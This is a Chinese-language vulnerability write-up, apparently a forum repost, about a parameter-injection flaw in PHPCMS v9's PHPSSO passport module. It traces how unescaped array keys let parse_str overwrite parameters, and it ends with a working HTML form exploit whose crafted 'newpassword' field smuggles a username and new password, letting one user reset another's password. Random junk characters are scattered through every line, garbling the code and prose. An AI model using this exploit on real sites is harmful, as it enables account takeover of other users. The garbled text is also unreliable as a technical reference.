提到的通行证的代码:& M' K1 W4 o1 i: ]( T
: m7 o- G2 {- Q8 h$ f! h
( [; e" J9 n* o. e- x6 `& sparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data); y" x7 D$ o; L+ C+ h1 [5 O
( K1 N; _' q; e0 ~1 w
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。# O- q9 }; b* ?: I+ w; y, G
. ~5 q$ v- b$ y4 m7 `: ~8 h我把它留给了你们。; {3 \3 G: w$ N9 ]& V
不知道你们发现了它没有。
7 E* G+ V) T3 o
Q* J4 ]& ?$ _% G8 A) G! z我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。9 C3 g ^5 f, g9 t3 h, O
9 U" L8 _' ~, q3 @所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。# @- m2 I# N+ H
8 B- n/ Z. J" L. O% r! I( l' j
也就是
7 n; I. _: H K0 P* {9 |# ^# [9 | a I/ T$ ]# z, W1 t- ~
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
$ r/ R! w1 q6 U
# V+ I- d. v! D3 R要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
/ G9 w/ E/ K1 _* m. }! D8 @$ j3 U
, i7 {7 K! A9 C) L3 l/ R) D1 r: g% d: o1 ]
其实我们有这样的机会,看看代码,如下:
( Z. }; v8 x, S+ W1 ~3 I1 G) ^$ r1 ]% x: y
4 P: ~2 b& z) S. D* P8 P0 a
public function auth_data($data) {
5 N) M, Q$ ]' j: ] $s = $sep = '';
6 Z. Y- T+ p' Q" b2 C foreach($data as $k => $v) {
2 @' n- ]6 w! b. a0 S if(is_array($v)) {" U/ K( W$ a# a, K. I/ K2 [
$s2 = $sep2 = '';
7 I0 f; p- b5 {. {0 h T) R foreach($v as $k2 => $v2) {
" n& i; ?4 b) u $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
. ^2 v1 y' R8 v/ y O $sep2 = '&';
( R# N8 Y4 l( i6 h7 |* r3 {) E }( S" v! F% Y* `, Q1 i7 s2 j! ^
$s .= $sep.$s2;- c" [% ~; Y7 H K. O. Y' D1 @) E
} else {
7 s5 d4 v. u' C; R9 S. Q $s .= "$sep$k=".$this->_ps_stripslashes($v);
6 W0 Y9 c5 U) b+ V* J/ M( ?9 U }- B0 o) @# b6 d
$sep = '&';5 {) k3 `2 o% s( X+ Z) Q
}
6 D; @- K6 H- d P& t# K) K6 u }7 o8 i1 K
$auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));; f, Q8 r4 A& [: R2 L( d
return $auth_s;4 G% C2 P$ `% c, C$ q |( t; D
}
* x9 ?- j5 y+ \, r5 k
6 ]$ B5 w3 P7 p可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。1 F$ U$ a9 t9 w# Q# i- W
5 }/ i# |5 q) d7 t/ Q0 O
举个例子
$ ^3 G5 ]+ \" Y+ ?+ m# x
7 h/ W* N& D5 G$ J* f% n$ t/ m$a[aaa=a&bbb] = 'a';
! E1 y8 s' \# f! h0 {3 ~ ?7 i/ j5 x' w" ^2 |' ` w `
会变成aaa=a&bbb=a
. _4 a. O, d& D3 g& ]; _8 y7 C2 s$ [ ~" }8 v* l, G
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。$ d/ W, y7 x7 e7 e
1 Y/ P. P: }8 ~/ r. ^$ r) `; L& Y这个时候,我们可以再去看一个函数。
7 F" g( M% ?" n8 u( a% v, o8 ^3 q& D W, ^9 c& w) U
就在这个文件内:+ X5 j V0 _4 D- X
( L/ h4 s5 R; b+ O' _# U
8 L6 j: ]4 Z* E+ Y0 h9 ?0 c5 g
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {3 z; ]- R f2 ~1 v9 i
if($email && !$this->_is_email($email)) {
4 c& O0 [" d1 ~6 o) ` return -4;
; Z# J- U# b6 t% C1 C }
" f2 r& d2 g0 g0 {4 K return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));* p, M" M+ B, y$ ]" b; v
}* X. c3 |0 G: y, [/ h: j
, B9 h% W! _$ f Y$ f
这是向通行证发了这样一个请求。
$ G7 G! X9 {- R4 s
0 p7 r# K5 O/ @& N: Y- x我们再跟到通信证代码里去看看,就会有所发现。
& A4 s, F* ^+ b" O9 A
# E. A/ I& ]4 M8 K& c, U) P& b# M: w; _+ E" l
public function edit() {
. @0 W) P% o6 E7 r& R/ x3 i7 s' |//能省就省,太长了不是吗?
& t' |$ C+ x% J2 x" ~; o5 t* ^- G: f6 {0 C
if($this->username) {4 }8 u; y# G) O6 K) e6 u: i5 ~
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
* V* T. v7 u3 P$ D y7 @ $res = $this->db->update($data, array('username'=>$this->username)); B% S% g' V( v
} else {! ]& P) |, x7 v% p
file_put_contents('typeb.txt',print_r($data,1).$this->uid);
$ E9 R8 n9 Y1 ]: G $res = $this->db->update($data, array('uid'=>$this->uid));4 a4 o9 A9 W% J& `4 W% h9 M5 I3 ]
}, J; ^7 K! [% ]' u/ l7 r
7 \) R' ]1 w. `- F- b8 n好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
/ p/ j) p1 E: |% j i2 m, y
+ {3 N' D5 v' {/ ~+ J& ]# Dpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')* p8 x- x% } x) }8 e
; s+ U# L7 B9 j, ]6 k很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
4 R N% W! l) M6 o; e( z7 A# c! o( F" D
* d) F6 p2 K; ]8 n1 b2 }5 a5 W; ~我当然找到了:
+ ~2 M$ E/ j' Ephpcms9/phpcms/modules/member/index.php. k+ H8 ^* t$ N" c4 W" t* y2 C
& P/ ]# H0 c; D, N& a, n; G% [
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
8 o$ p# d$ p( {/ Q7 Z
$ y" f0 d5 y( z3 n; ]6 z! b4 X然后就没有然后了。+ O) G* {2 E) h2 j: J- M A
- ~- d# B! z- E# a" d3 r
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">+ b5 W: o( i5 b: Q0 |
<table width="100%" cellspacing="0" class="table_form">
+ T2 H G% M0 S& _( Z <tr>
) f0 o/ P* j- Y <th width="80">邮箱:</th>
+ l8 V: U7 o( w2 L. ]+ O) l <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
3 x# J# L3 L9 U- J </tr>) ^$ x, a1 z7 q+ _8 M
<tr>
( q. S# k. B9 u. P% ?- Q! `7 n <th width="80">原密码:</th> 1 ]/ o' j/ I( _0 \5 _
<td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>6 x0 {' m! b( }- b) x8 z% A
</tr>( `$ Y) F* @/ [5 d# H9 k* K
<tr>
7 @% j5 `9 F! c8 N" u <th>新密码:</th>, a" k$ I- e( l4 W
<td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>3 V$ K: t* u) U2 e) Z
</tr>
+ D4 F$ T6 Z( } @0 T6 ?1 O4 Q <th></th>
, |! V* c$ {; J2 ^ <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
' |$ R; k& Q% T ]" {# g* w </tr>/ ?7 y8 T; J5 b0 i o0 Q
</table>, o9 v0 T: i- Z: s# O
" q; ~/ d/ A" x: ?8 m9 ^' Z
, B! x. [4 x% V: V7 z$ ^; g3 w8 C. L; I
</form>) U: u( x$ S' n" A" j$ L# ^
|